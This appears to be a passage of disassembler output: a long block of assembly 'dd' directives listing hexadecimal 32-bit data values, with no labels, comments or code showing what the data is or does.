		dd 408B97h, 0D50AFDD9h,	1BA71663h, 0A664050Ch, 0E4D087ADh
		dd 0A4B61Ch, 5C8215F1h,	0F6FC40C0h, 3F5401EAh, 68C27143h
		dd 80047953h, 2B44B94Ch, 345E4CDBh, 548B4680h, 164CDF94h
		dd 0F74278D8h, 0AB7C010Eh, 0E7A9043Eh, 7780B151h, 929C004Ch
		dd 9B60797Fh, 77950E09h, 7E1D5630h, 7AB98F87h, 8E73E3DEh
		dd 830A8002h, 899A9EB1h, 94B0514Ch, 7D2FD49Bh, 0C4BA4810h
		dd 0BBBF1700h, 53F7551Dh, 50E89496h, 0F600869Fh, 81E701D6h
		dd 27D2B974h, 3C39464Ah, 612FF07Bh, 5FE8E100h, 2233F25Ah
		dd 8AB60986h, 0E084F43Ah, 8AA4204h, 41207CC7h, 0F8DAF2BEh
		dd 0C3004904h, 8568C79h, 573BE80Eh, 0D280ACCEh,	0DB1DE7B9h
		dd 0A47C44A0h, 46590360h, 0F4FC70E9h, 0EB7A01D2h, 32F67836h
		dd 0D32084D0h, 44EC4C82h, 7742C188h, 4408449Bh,	0E000E909h
		dd 0D0EC9679h, 7E17DEF1h, 0D95D268Fh, 6D8039CFh, 94299A27h
		dd 0AC094989h, 0DC5A1Eh, 0E6B66284h, 0E7EAD8h, 5BA52B0Ah
		dd 0C247EED3h, 0D2C7030Ah, 9790448Fh, 0F34449C8h, 374CCCh
		dd 0E432A7D5h, 0F1C8A424h, 45D25101h, 14D01D0Fh, 0FEA0887Ch
		dd 0CC001557h, 0ABB62F2Bh, 0FE22D855h, 0D4EAAEh, 0E450FA6Ch
		dd 0F9A04B82h, 0A7CA2024h, 44F7B207h, 9CB8D004h, 9A4BAF1Ch
		dd 0C0D86119h, 0B508DF50h, 591C8997h, 7A790E94h, 1A50C500h
		dd 0F4014FE6h, 0B446FD4Bh, 2430BC74h, 73892E4h,	276E35Ah
		dd 1AAA50ADh, 0A500D94Dh, 0BD702F1Bh, 1298308Ch, 1249F45Fh
		dd 0C228D44Ch, 0B0234D38h, 2589011Bh, 33779C3Ch, 58E1F27Eh
		dd 0F983C0Eh, 6978AA03h, 0FF3C11BBh, 0F0D45ECDh, 0AB3C50EAh
		dd 0D17D1CA1h, 137E02BFh, 94683A51h, 541F7BA3h,	0A216245Bh
		dd 4C5EA8D8h, 6B04E48Bh, 0C8F5D033h, 0F2000250h, 5C8F2DEDh
		dd 5A6350h, 0A09FBE0Eh,	0CC6C706h, 5C110099h, 78C99489h
		dd 4BA0012Eh, 40C846CEh, 0E71EB180h, 912D485Eh,	55D8548Ch
		dd 742E485Bh, 11DE0611h, 7927BC8Eh, 837AD8C4h, 74AECD00h
		dd 5B4D6234h, 136E003Ch, 0C74603DDh, 7E098ADFh,	0C6AB9290h
		dd 0D25480CCh, 0E2CA581h, 0DB409DA8h, 0B491BA3Ah, 0D50EBCEEh
		dd 438616A3h, 80014E08h, 7AB9590h, 0FE69CB06h, 3B04205Dh
		dd 0C724B925h, 960D405Ch, 406019F1h, 0AC3CA026h, 11CD3DC1h
		dd 595861DEh, 880D0C14h, 0E6001EF3h, 0E094DD57h, 78D6081h
		dd 19F66736h, 20E4A997h, 0E7E45D07h, 77115383h,	0A03A5A88h
		dd 0B04AF147h, 0EAEE70C8h, 4D08A8B3h, 0E71370C7h, 7D873829h
		dd 0F26F706Bh, 0A4B6E720h, 722207E2h, 0ECAD13E8h, 6CE27Fh
		dd 7AE0B169h, 0C0034E8Ch, 0E357F8C8h, 8402309Eh, 6BBF46FBh
		dd 815CCA0Ch, 1D5685F4h, 5C44F9BEh, 871C81EEh, 6824512h
		dd 0C134AFD0h, 0AD46028h, 0C15E047Bh, 0F4A47E02h, 0FE0E4918h
		dd 603C7895h, 8131ABEAh, 102D320Ch, 90DAF221h, 0C492084Bh
		dd 0CD3C61E6h, 0F25F11CAh, 96F88029h, 0B54C2050h, 749E7820h
		dd 0BCA6058Ah, 3DB373Fh, 61212258h, 64B2DCC7h, 0EFFA6700h
		dd 0BE3C0F93h, 8A33DF09h, 0C59F00E5h, 48CDAB09h, 1924C82h
		dd 0DFB92F50h, 0EC58CD5Fh, 10C07DCBh, 0C9C2E25Bh, 1D980289h
		dd 0C649161Fh, 61401856h, 5B91A35h, 8FF6D12Bh, 80ECB9F7h
		dd 0C1260CFAh, 7E760179h, 90F96AEDh, 0A8AC68EFh, 191A60B2h
		dd 1337B9BDh, 779B3605h, 3CD80C6Ah, 0A7F0BE9Dh,	19B7A446h
		dd 3C37E060h, 59001853h, 0DD8331A6h, 1500E4F3h,	4D581D1Eh
		dd 64468479h, 22C339B2h, 618B20C4h, 4F38046Ch, 0ED0A05B5h
		dd 7889D31Dh, 5E006423h, 6257B573h, 310122CEh, 1868D7BAh
		dd 0CFD0780Eh, 0DB281644h, 88D0305Fh, 0B700A854h, 0E7096816h
		dd 4FB94539h, 1F10C80Fh, 5605D300h, 8B4394B5h, 518E074Ch
		dd 837A18F6h, 4EB1F8CDh, 746034C4h, 0FC70405Bh,	0F46A92Ch
		dd 3E394DDAh, 0BEFFE560h, 0F0049C4Ah, 0C856E872h, 0A588A4F2h
		dd 30E89745h, 0DCB43DA0h, 0FE2D097h, 543F97D8h,	6D8E8400h
		dd 0F07478BBh, 0C294822Dh, 5E209814h, 0C0AF1CD1h, 5890443Ch
		dd 0F2F493DBh, 0C91BE0AFh, 2C0009B5h, 5BB73A8Bh, 28459817h
		dd 1A08E32Dh, 291AF618h, 9E00D4D4h, 7C7D6C71h, 884B0021h
		dd 0DBABBC28h, 2F0EF3F6h, 0A0E4DCCEh, 1A39270Ah, 0AA6C009Eh
		dd 0C5F79BD0h, 0FDE8A54Bh, 1E5FDD00h, 989F509Ch, 0D0F628BFh
		dd 42B04BC8h, 0E4E707Ch, 0E060CCF4h, 0BB3A4F1h,	0D0F95BC8h
		dd 7B502C80h, 34BC440Ch, 9720D344h, 492CAB86h, 4A604496h
		dd 0E45B487h, 0A8373BFFh, 6CAE9161h, 460CD038h,	902FC0B1h
		dd 7C5320h, 9B2C68BBh, 7DEC66CCh, 544430B0h, 6A70B737h
		dd 8D25311Dh, 44CB7880h, 5C01D4h, 0D63D0876h, 4CDB2DAAh
		dd 0E0D5900h, 0EDF52CCDh, 0E433025Ch, 4902E35Bh, 205AD441h
		dd 905BC188h, 0A0E75820h, 20C500FEh, 35AA258Eh,	7B125171h
		dd 0A04B7986h, 5E88C6C0h, 4AC0BA1h, 24EFD03Eh, 98407FECh
		dd 0EBC9879h, 6B57DBFAh, 1B215A5h, 2CFBD2ADh, 0DA3040B4h
		dd 855CC05Bh, 165E0160h, 6D520C75h, 6C0226Eh, 0DC10B311h
		dd 631CC7B7h, 5B00F8C0h, 3BD3DB92h, 9E5C00DDh, 9BC373BFh
		dd 2431A4F9h, 11D04981h, 4C401311h, 184CDF0h, 0EECC415Bh
		dd 78C8C1A8h, 4D39C02Ch, 0C00CE7CDh, 4EC5C10h, 85B0F719h
		dd 14C0064Fh, 16F0C351h, 7001D207h, 2BE9DD8h, 5AEA7F48h
		dd 0B1D2D423h, 0AE52FBCh, 774EA4D8h, 90E4B4EAh,	3359A054h
		dd 80F70043h, 0F49ED5EEh, 891C2CE1h, 7147ADF1h,	0BF65505Ah
		dd 0F0720801h, 1C20F308h, 517D00F5h, 0DBFD9CD4h, 6B00A4F4h
		dd 0C52C6DA5h, 0E6E3CF04h, 13A8960Eh, 900416CDh, 18DB1D04h
		dd 5E7AC9C1h, 806DB3C2h, 0C922CC01h, 209D75C1h,	0DF00F930h
		dd 6C545A3Eh, 7C1AC57Ch, 0C130640Ch, 0CC89A0h, 0EBE1B990h
		dd 944A8E01h, 7DD3E42Bh, 282CC4h, 111FA503h, 0FB5AD678h
		dd 5B743AB0h, 0A9954925h, 7D7C44E8h, 11F66Ah, 0FC30209Bh
		dd 0C3F11823h, 0A4B029D6h, 0CCA34425h, 0EA508B70h, 0B807849Ch
		dd 50702279h, 18F1B2D0h, 137209D8h, 0D80F6CDDh,	9382F24Eh
		dd 247AE545h, 535DB317h, 9ACDE804h, 130390C8h, 7BAA81h
		dd 5E7EACA2h, 0BC58AB87h, 13B0187Ch, 6AC481h, 0E3ACC897h
		dd 60F5C349h, 8DAE3102h, 0AA52E063h, 0A2007794h, 0DBF0BFFCh
		dd 2E170449h, 929C53A5h
		dd 0F5214808h, 0ABF07BE9h, 0CFC500B6h, 64B17195h, 2212C314h
		dd 30A296CBh, 8E4CC897h, 0D7414200h, 46965B67h,	0F05474EEh
		dd 0E8184816h, 887F2D00h, 58DA51CBh, 0C45F8300h, 46A60305h
		dd 0C36A130Ch, 745C083Bh, 0D1949062h, 259F0E34h, 7ED3B022h
		dd 0CE67049h, 0DBE7885Ch, 4119580Eh, 4CCB424h, 4C97651Fh
		dd 0E12D6881h, 0F0DA0840h, 4C29D418h, 3D1BD311h, 0F4E1EA13h
		dd 62801890h, 55CF3BD2h, 8A68919Fh, 51224438h, 0DD015492h
		dd 0F30C7E78h, 4783AB3h, 6468F527h, 93019864h, 5DD12F43h
		dd 9FCC9B03h, 0B81D007Bh, 768D9D5Eh, 2C3E47A1h,	9CB503E0h
		dd 0F20C7D54h, 0D74C8212h, 0D8F5230Fh, 0E6765900h, 8D48C833h
		dd 0B832EC69h, 5B9F253Bh, 0E41C0466h, 862816CBh, 54B6F0B0h
		dd 539B9584h, 1DF4CB80h, 6468B918h, 0C8F68376h,	8AD18F90h
		dd 0A206EB00h, 5973F2DCh, 0B46B1ECDh, 0CB0D8076h, 0C1E4C59Ah
		dd 80F0DB00h, 0D27F4014h, 6048B949h, 0AEB95CCFh, 7B46B400h
		dd 0DF584009h, 0E5D102ADh, 2615DC94h, 0FD2F9C68h, 5F88A748h
		dd 0B8001024h, 0E246D32Ch, 0B54B1F25h, 4A86441h, 56DBC8Ah
		dd 588877D2h, 8D9E0579h, 806608B5h, 0AAFBDA4Bh,	14782F2Fh
		dd 0F256204Ch, 6049D321h, 86D8927Ch, 590C2701h,	8E30186Dh
		dd 79891208h, 1D4B6420h, 4169F1F9h, 0D9D47E14h,	0EFFB4349h
		dd 0D0CB614Ah, 40B5951Ch, 60365DA6h, 350031B4h,	0EDCF439Bh
		dd 58C98EF9h, 0D44238CBh, 0BEDF9CC0h, 0BC062C67h, 7AF469E8h
		dd 0FCD70650h, 2968CA34h, 0C2AF60A0h, 0DD540305h, 0D0F0A835h
		dd 0A183000Ah, 36A762DCh, 0F9766E2h, 30B8008Ah,	12211BAh
		dd 0A05E144Ah, 41E104EAh, 31EB78DEh, 0B662C0FFh, 0D9ED7B0Fh
		dd 6350C7A0h, 0EE851A8Ch, 0EC861F5Dh, 4F73C0C4h, 3AD8C3A0h
		dd 2E94A800h, 0EF2BA61Dh, 72501D0h, 0F3A3E105h,	0EA088314h
		dd 0E85169B6h, 486D7Eh,	450B27D9h, 0BBE223B4h, 0DF7D5B19h
		dd 0A8800428h, 0C03CC2DDh, 63284633h, 42000860h, 89750C3Eh
		dd 609F18Dh, 0B801BC27h, 0E4007111h, 2DFDFEF9h,	1CAEAA20h
		dd 3D0A65Fh, 0DE5D14BDh, 1A03F100h, 0FC208C44h,	6D47004Fh
		dd 1011A5EBh, 0D5068843h, 0DE416BC7h, 0D6FA3091h, 48BB6E39h
		dd 0F3343E2Ch, 54583300h, 0F9C4E0Fh, 0D2A3CD87h, 0ABB490E0h
		dd 8D0205FCh, 133EEAA2h, 0A0AE8D68h, 540C35D0h,	14E0869h
		dd 0DE4CA154h, 0A01E21D0h, 6374D0C9h, 0CC52388h, 0F2EF02E7h
		dd 41C212C8h, 0A10695D2h, 1F7A38B0h, 0AF588453h, 201EAAF5h
		dd 0FADED303h, 261100D7h, 0E864A1BCh, 7273BAC3h, 0C95E6328h
		dd 2A70EE02h, 8EF795D1h, 196178ACh, 88CD5289h, 9700D222h
		dd 9EFC4531h, 0E4A21E79h, 829200A1h, 7A4938CFh,	91CE33D1h
		dd 9CD06E0Fh, 15F3E131h, 9007B9BBh, 90794236h, 0EF207C06h
		dd 34E8E000h, 3E9193CEh, 17BF3763h, 3DF19039h, 0ADEE2720h
		dd 192F310Fh, 71E60004h, 300EEF6Ch, 0E4A9D32Eh,	0C30041AAh
		dd 0DFF79B66h, 0B5B781C4h, 0F051E70h, 0AC1050D5h, 0F205A020h
		dd 348A6h, 9EF001B3h, 5E0B085Bh, 0E02A4C6h, 3E1C74E2h
		dd 96173B9Ch, 0D00C675Ch, 8C39CCh, 3B445265h, 831029D2h
		dd 6DC9FF0Eh, 0F25E4014h, 1D456B50h, 40AFA8D0h,	0CAB56A2Ch
		dd 0D104E885h, 23053B92h, 0BD62C080h, 5789274h,	0D2026FEFh
		dd 7D40009Ch, 197CEE10h, 8070F948h, 0C9E2636Eh,	38E67B6Bh
		dd 968E684Dh, 0A6C78D54h, 0BB38C011h, 0AB00E78Bh, 0D7FCDC2Dh
		dd 0F89715h, 0D0E27D3Fh, 5A1DEA13h, 65E339h, 0E4EE4366h
		dd 64FFE20h, 2E2802D8h,	9439E9D1h, 10470095h, 909F4345h
		dd 325F00BFh, 0D742F34Eh, 40006208h, 0AD0F95B4h, 9F70D6h
		dd 2EBF64Fh, 0B804503Ch, 0A4F00654h, 0E35E7800h, 45B97158h
		dd 26DEE42h, 0D695C568h, 5E60E8CAh, 882B4613h, 9CB8D4DDh
		dd 8CAAFC03h, 4E940100h, 0D266AA56h, 1980E193h,	746054A2h
		dd 0B837EF68h, 0BDE27905h, 56F2C0C2h, 0DCF000C1h, 106B0468h
		dd 3D00A5C9h, 0CF557757h, 145AD336h, 3C439485h,	22656212h
		dd 0F009150h, 0C1E2871Ah, 7103E921h, 9EA1C788h,	7480EB55h
		dd 0A440AAD6h, 0D8A024E1h, 6095903Ch, 61FA8630h, 0DB2E370Fh
		dd 0A6B69049h, 3F0E1D95h, 0F55A9B4h, 200C0C73h,	6440DD8Dh
		dd 99034F68h, 0AAF04B08h, 88386C1Bh, 0DCD62980h, 0B36EFF80h
		dd 75C3D33h, 3F024A3Ch,	6B64028h, 0DB30ADC3h, 0DF5A28C2h
		dd 806C9136h, 0D6679BF6h, 0F23C949Eh, 0C84A8083h, 0CED04DB1h
		dd 0E0970A35h, 62808219h, 90AFAD11h, 0F3121Dh, 0D75407A8h
		dd 9D098036h, 928119A7h, 0C4206330h, 39200E22h,	47FA42h
		dd 4CF1F75h, 1A662664h,	0A0378118h, 88182039h, 250F7E4Ah
		dd 891923E7h, 60B8925Fh, 30D294E5h, 0BA11096h, 0C4A9D557h
		dd 4100CFB8h, 0F21D7AD2h, 76B8EEFh, 68AC0691h, 76016914h
		dd 8CF9FE67h, 49F29626h, 0C1CE602Dh, 0DF54C646h, 0FA631A07h
		dd 0BFD02543h, 9EBD3Bh,	2B5132FCh, 9926749Ch, 0E910CD81h
		dd 0FA1471B4h, 3488C4E0h, 9A071930h, 0D2C1EB28h, 8850DB97h
		dd 0DFDF5D0Bh, 3900AB9h, 22581D0Ch, 7731111h, 0B1E2DE07h
		dd 0D20B809Dh, 31880694h, 0B1B4707Ah, 0B3B2831Ch, 0C0974D0Bh
		dd 27D1652Fh, 19315E61h, 618DCF80h, 0D569D0FAh,	0F97ED8BBh
		dd 665C9700h, 8F993306h, 7B0702CFh, 8C1A1EE6h, 0EE300844h
		dd 5813685Eh, 61867BF5h, 0D52049A7h, 83998201h,	0C14EC7CDh
		dd 3015CA84h, 7FC81BD8h, 9D3B1700h, 0BE31F7D0h,	34765Fh
		dd 230C1436h, 4043A989h, 6027A50Fh, 1B1940CBh, 7D36218h
		dd 0ECD3DE6h, 9B16F06Ch, 32759413h, 0A8B49D1Dh,	3903F36Ch
		dd 0F145EFBh, 4E24AF70h, 0B689A50Ch, 51628202h,	47144D7Bh
		dd 0FF5C0020h, 69810727h, 5400C7ECh, 15E2E082h,	17EC625Dh
		dd 27A9D523h, 0DDAB42C0h, 14136041h, 27E3B8C2h,	43FC0201h
		dd 7A3DA0A1h, 0A439A2A6h, 14283C9Ah, 40B02850h,	0B316B61h
		dd 9014D956h, 0D325F02Ch, 0CF90850Ch, 0AE884Bh,	607CE80Ah
		dd 6E0C03F3h, 6D11EB0Bh, 5378010h, 1218D8C4h, 3FA0FFh
		dd 0F20DAEBAh, 17026BB4h, 43605B23h, 180442Eh, 0D7887F98h
		dd 0DBDBE0C7h, 0CC30F1F1h, 700F6E6h, 0B2508168h, 920FFB3Ah
		dd 1BB830CCh, 3B8C6EF9h, 3CECF200h, 4A2AC8A1h, 0BB040153h
		dd 19FD3A72h, 0CC6394h,	354A1D2h, 0AD730Ah, 0A44C2CC5h
		dd 34948AE8h, 95865205h, 18D30963h, 0A04BF0DBh,	38E4F00Ah
		dd 763DDE0Fh, 226D00Ch,	1749F381h, 9B780040h, 3DF06816h
		dd 0BA660B8Ch, 2A80EBCCh, 0D487CF0Fh, 0B7B6DC02h, 0C68854A5h
		dd 0EED0033Ch, 66FBF7DFh, 0F28A9E80h, 33EC200h,	0A0F12001h
		dd 7F4A0056h, 0BF0B9086h, 0D8E127B2h, 2430D14Eh, 8A198932h
		dd 0BC40B9DBh, 87422A9Fh, 1BFADAEh, 93F3729Ch, 420FA59h
		dd 6AD2EFh, 30CAAC67h, 0E6947A2Fh, 80A2C628h, 0D7260A01h
		dd 143BE501h, 2E9D699Eh, 0BC483EA8h, 79D22D86h,	7A14ED0Eh
		dd 460A2011h, 7E44B0h, 8ABF3420h, 39CC10Fh, 0DD861A18h
		dd 2E6B7F31h, 850540Bh,	2D8C059Eh, 59721D8h, 0B4A26CE9h
		dd 0B01DEAD2h, 6282219Fh, 614336FFh, 48429EDEh,	0DEA22007h
		dd 324C5165h, 97A788F8h, 8D3900E9h, 0DFE05B9Fh,	4CBE590Ah
		dd 320E602Eh, 24A6E0DDh, 8CF22Fh, 95147570h, 86C811E3h
		dd 5B05EE00h, 0FB6A0CA3h, 73E5788Dh, 48FC7C4Eh,	0DF22A843h
		dd 0B09FD226h, 23205C64h
		dd 0D00AB5EEh, 0DC013F27h, 90901649h, 130F1607h, 4CAD01D4h
		dd 0DC34C778h, 0DA0B5096h, 22EA34Ah, 645B27CCh,	0D98522B4h
		dd 0AEAB0100h, 24793608h, 0BE2528A6h, 7C2B5884h, 1CA60AC8h
		dd 2240CA14h, 2DAA1DD7h, 0A657C0DEh, 0F1039920h, 0ECB8D603h
		dd 0A837C010h, 0F961B745h, 473014E5h, 1170B174h, 0D13C050Ch
		dd 3404095Fh, 90B7C986h, 9CEED900h, 0B8AB941Dh,	0DE7F0E00h
		dd 64CC50C5h, 71250E96h, 9E8CE0F4h, 41CB8BC0h, 8C700EE9h
		dd 8854703Fh, 509C550Bh, 854F2F42h, 4004AB90h, 0EE42E288h
		dd 5560F5EFh, 20CB1638h, 37A400ABh, 0FB821AA2h,	20DC5442h
		dd 9F1D6681h, 806C5D3Fh, 0F3DBE4D0h, 34459825h,	0D531DC7Fh
		dd 20549D98h, 76050CCAh, 72F4858Ah, 0E78C380h, 0B8749CFCh
		dd 6273A800h, 0CC1A1261h, 2FDC8017h, 0EF665D02h, 4FA8C92Eh
		dd 0D2E7C980h, 0CA2FFDA6h, 4CAAD924h, 14008F20h, 0F820D64Bh
		dd 7C7370B2h, 4DF60676h, 18CAFC7Ch, 4BF40300h, 5EF98E92h
		dd 8804B13Fh, 0B897D157h, 65368820h, 0F9CA005Eh, 0EEE87DFCh
		dd 0B3EEB2E9h, 0F1622E30h, 4CC12301h, 0C5C028EBh, 822D5B1Bh
		dd 0F47DBC01h, 6987E2C3h, 0D00C4037h, 4A691223h, 5AF78507h
		dd 5CD0509Eh, 8B23688h,	0D52E10F1h, 7D674580h, 7C23E62h
		dd 0FA539C3Ch, 0B28DC4E1h, 0E59B0304h, 9DBCD70Ah, 0F35D0181h
		dd 0E039DBFFh, 650E2C5h, 193B1BC1h, 930030A7h, 0AA693D11h
		dd 1D709B3h, 0B6845A2h,	0E491EE07h, 40A0851Ah, 189E24D0h
		dd 0DC8E198Ah, 0B09C2EBEh, 2D191711h, 0D4A119D7h, 24000995h
		dd 0A2EF03E8h, 2557C735h, 54243BA7h, 0A85CC093h, 0A427D044h
		dd 0CCBC20D3h, 3B0E2D8h, 0D20A069Eh, 61261D6Bh,	0C86110A4h
		dd 0A7C4AA71h, 54A60F7Eh, 0ABA1E4ADh, 2088BED4h, 8E0E4B91h
		dd 0C117F85Eh, 0BFCAFDFh, 2ECE4980h, 962A1C3Bh,	0A69B7500h
		dd 0C0E54D98h, 4DFC9AEBh, 7899F009h, 987813DEh,	9172E4h
		dd 0B5AD1403h, 9D636E42h, 8816C51Ch, 0ABD74BC3h, 20311CCFh
		dd 0A90241F9h, 0E18F0658h, 0DF0840D1h, 29C0DAFAh, 0F7BB2F2Ch
		dd 210D07A7h, 0B2706C57h, 0B884A535h, 1851D5h, 0F69697D7h
		dd 123DFC87h, 909CD2B7h, 0F2373C50h, 33CD1207h,	3DB056A6h
		dd 0C9AC10h, 864791C6h,	5A4D4BA2h, 0D420DE0Fh, 9F7B8FA3h
		dd 589862C7h, 6B9030B7h, 940236h, 9BE29A22h, 0D213A54Ch
		dd 80549258h, 0DD207FDAh, 30B370F6h, 0CB10A5BEh, 0BB30A424h
		dd 0E215291Ah, 0E8AB0072h, 0EFE42D69h, 7302BE5Ch, 0D2F2E06Dh
		dd 8228A998h, 22099F84h, 2052590Bh, 890A1484h, 0EC1928A6h
		dd 0B4C8B892h, 2B613E14h, 0B5D900F0h, 515C703Ch, 700E3FFh
		dd 0FA91984Dh, 3875D617h, 1D0A0145h, 0D836C7h, 0C8305589h
		dd 0BC09D520h, 27EA763Ah, 5A91EF84h, 8221083h, 0A7F9870Fh
		dd 0F6006D2h, 2C9E089Ch, 46B53162h, 1A6700CCh, 0EC66C511h
		dd 0EF00BC2Ah, 239C7285h, 3AC99F99h, 5C3A18A8h,	0FFDBD600h
		dd 0D0541410h, 8967CA0h, 0DF480CB9h, 0EF24BA00h, 18A5BFC4h
		dd 71155BD0h, 59F0A64Ah, 6B0ED891h, 7A1B475Eh, 48A40200h
		dd 0FDC600C4h, 0FB3DC115h, 9E074441h, 62BAE335h, 80A21020h
		dd 34940316h, 0A3AE067Bh, 0CC17E0CFh, 0FA042018h, 96719BD1h
		dd 1A0289C0h, 0A9909C88h, 0E0C48F94h, 0A7C0BA40h, 44703F34h
		dd 82B48A38h, 0D3DF1EAh, 3C18D394h, 8F4D2300h, 9C988671h
		dd 98A6632Eh, 8016FC0Ah, 0CE31A987h, 0E5135340h, 0D44638E0h
		dd 36D32E83h, 0A5887B48h, 1238EB77h, 8E400208h,	99D020FEh
		dd 0E902F6DCh, 1103882Ch, 3581445h, 8A740BE1h, 0F7BAF046h
		dd 50B0C5DFh, 14A2FBh, 21D7E473h, 0B5770A9h, 0D160BDE8h
		dd 5A42446Ch, 48A9D200h, 39B4B803h, 0FC37A2F0h,	8E9B910Ah
		dd 0B65A8051h, 8CC3D6h,	9B580D82h, 6B156C5Ch, 4A52D27h
		dd 0AF40F05Ch, 76478298h, 21242558h, 89190B59h,	0A2E5F010h
		dd 1A5DB0Fh, 0A15B4F20h, 0D62E1FBBh, 94AE2180h,	0EB4D6C82h
		dd 3D7B6401h, 36F9714h,	6F0573C0h, 746C2861h, 128C8258h
		dd 12C156A0h, 3B608854h, 0C41F7A00h, 8D52F96Fh,	41830037h
		dd 0E6CCB36Eh, 2E0107ACh, 54E0CF4Eh, 6C341960h,	0DD08FF8Ah
		dd 6418B88Ah, 5CC80083h, 0AD537F5Eh, 0EB4C23E1h, 16393AEFh
		dd 1C22560Bh, 83C093B8h, 0F37B09Dh, 0BA2E01F0h,	0B84DE631h
		dd 8021B81Fh, 18FBCEDBh, 903D5032h, 0B8EB065h, 0A0B772EAh
		dd 81E9D004h, 83C5B282h, 0A37A39E8h, 2440446Ah,	23C70F6Dh
		dd 81A07526h, 4D3B0806h, 884B6000h, 0A6FB5E99h,	6CA0A27Bh
		dd 212543A4h, 74E00288h, 8CA4E4A0h, 238C8C86h, 2CFDB14h
		dd 0DA2E8648h, 75CC0321h, 63E28358h, 6C560290h,	2C958E07h
		dd 0AC2A4AA5h, 9AB62B60h, 0B530050h, 0FB74D9EBh, 9501CF09h
		dd 87D57E31h, 0C034AF3Eh, 40228B05h, 0CAA700D1h, 0D7E98549h
		dd 68001205h, 0B7E3EF9Bh, 0AB4EA5h, 568A220Bh, 0DFF080FDh
		dd 0F4179C9Ch, 0C07790E8h, 0B8067D10h, 70705C6Bh, 6316A37Eh
		dd 0B088E018h, 0A2F054h, 0D80B60A4h, 0D794919Eh, 0EF974A00h
		dd 0A5FA8638h, 0D2320062h, 7EE3FC20h, 0EE2C1927h, 82064EAh
		dd 14807098h, 36189E03h, 51C9D8FBh, 978A0071h, 54A28D1Dh
		dd 800D7491h, 0B8B8A1A6h, 48220828h, 0BDDA3138h, 60180B4Dh
		dd 0B7CC023Dh, 9FCC40F3h, 54060072h, 5C560326h,	18CFFD9Ch
		dd 0B85D403Dh, 2BE3010h, 0A68ADE5Eh, 286086D5h,	83F0985Ch
		dd 7D01F0B8h, 762515A4h, 65309235h, 11F000DCh, 0D2269A55h
		dd 34301A01h, 235E40E1h, 7FA080F1h, 0B8038141h,	0FE190067h
		dd 0A4FA80D9h, 0A8C261E5h, 12C8E9Dh, 52E48Ah, 736D6FA9h
		dd 4630C03Ah, 0C3BA1FBh, 969B9106h, 40E8DE4Ch, 0FD42D733h
		dd 885EC010h, 0CE79E8h,	88F0B991h, 0F7412861h, 0CA0ECE47h
		dd 14D07434h, 93609659h, 0BBFC33A8h, 2AC6B387h,	56336DA8h
		dd 34061D0Fh, 869D2074h, 9C21D096h, 0D2EE80D0h,	8ED45812h
		dd 9C129EB0h, 4840072Dh, 0A590F484h, 741213ACh,	70B402A6h
		dd 0B100351Ah, 24A826DAh, 0B43D5Eh, 5AC86D05h, 631354D0h
		dd 0DC8016A3h, 30EC5E8Dh, 88E8E926h, 0FD1FB350h, 0E490410h
		dd 64280F43h, 6601E936h, 4F16111Ch, 0B7B11120h,	0B4F9A584h
		dd 3F000BBCh, 79FD932Ah, 76B785Ch, 0DDE9C994h, 110120E7h
		dd 970D74Eh, 272E742Fh,	0B5B0E508h, 2CBF7Ah, 0D8160830h
		dd 820253C2h, 8FC52F0Eh, 0F58665CBh, 0F95824B4h, 9A5ACCh
		dd 0AF013D9Ch, 99A9A34Bh, 5F147217h, 0D4C0BC94h, 5C7C4E46h
		dd 0BC161F74h, 899493EBh, 14177B88h, 19825D30h,	502AA05Eh
		dd 5980A8D6h, 0C32228E7h, 0B8249F0Ah, 5700C0E6h, 65387AADh
		dd 2088988Bh, 9F031364h, 3A25D582h, 9C93E103h, 98C74860h
		dd 0B35400D4h, 0D2FAFB6Bh, 1094F697h, 80385E87h, 8480DF85h
		dd 0B054A688h, 2720F01Bh, 788081D2h, 1FBCAE8Fh,	0E25A18C2h
		dd 9AC647Eh, 729E47ECh,	5668D90Ch, 748D2401h, 55E9A531h
		dd 1B48B1C7h, 3B95A086h, 0E74480E2h, 7C5F1842h,	73175834h
		dd 1DA03110h, 130AF0Ah,	99082FCh, 9203F25Fh, 0C7DAC158h
		dd 0F1889440h, 8C294C23h, 902D2416h, 0CD07723Ch, 927C48A0h
		dd 6C2E3242h, 6B9030DAh, 20945E4Ch, 139A5C00h, 530CAE88h
		dd 7C47409h, 66E539CDh,	4CE63870h, 5A0600E8h, 68096C24h
		dd 0A890F24Ah, 0D1C5C1h, 6D7FDE89h, 509CF96h, 9306AD71h
		dd 73E6AB20h, 0E97E0328h
		dd 79D564F8h, 60108151h, 0E0F0CAEh, 0D9F99Eh, 0D2F086C1h
		dd 0D48B023Eh, 72C3A905h, 964FDC82h, 54A3D0C0h,	0AB0358B6h
		dd 1C446BDh, 5AB3C878h,	692D12EFh, 0A7FC0004h, 6D492368h
		dd 8BDCF519h, 61DB09ACh, 988F298Ah, 0A8D80037h,	0F288718Dh
		dd 3E1A94E0h, 6405D12h,	98A8BBC0h, 0F81F0029h, 0E71BCB28h
		dd 303A631Dh, 1C116527h, 0F883042Ah, 1000F7FEh,	33D86674h
		dd 19DC17h, 8CCAE527h, 0E20759E0h, 68ECF85Fh, 0BC75E606h
		dd 0D4429DAh, 664D3C38h, 0C489780h, 0AB31E989h,	804C2C3Ch
		dd 7CA5C550h, 0E479FCh,	0C594BF6h, 61F3F74Eh, 92912D0Eh
		dd 0AC3260C7h, 1EDE7A5Fh, 0C349141Ah, 0F7ABD3C1h, 5E6BC09Dh
		dd 2FFA7060h, 0A74A9B1Dh, 42FEA800h, 451612h, 0CD73EA21h
		dd 6EBF4B53h, 0E8E41B04h, 76803125h, 0E093A0ABh, 24F500F8h
		dd 53141150h, 10C0F6B3h, 399B2AD2h, 134E7301h, 0A37C45h
		dd 2E09F9A4h, 0E80A57C1h, 94F62B81h, 7B0EB001h,	0DCE91D4Dh
		dd 0A819F4h, 9F392E0Ah,	0F509ECE4h, 8A38E700h, 0EE344EC7h
		dd 66BD0F1Fh, 2C633F21h, 5798DB96h, 0D200F82Dh,	3126A0BBh
		dd 732B254Eh, 0AC7B03B7h, 0AEC87375h, 4BD55202h, 8740D086h
		dd 0C9BFABh, 0C04E24E9h, 1E3B0090h, 1CF77381h, 510EDE6Bh
		dd 0DDA9E24Fh, 0D2D3D04Eh, 9CEF1800h, 1C4727B6h, 40D95C99h
		dd 3C7CFB01h, 151460E7h, 1DC4C95h, 699B46D4h, 61609EFCh
		dd 0A17D0352h, 42E1B7A2h, 0EE490ED8h, 0B9C42A0Ah, 0FB00D097h
		dd 5075E307h, 0E7B21E16h, 58CE0084h, 0D5B57A1Eh, 83055F1Eh
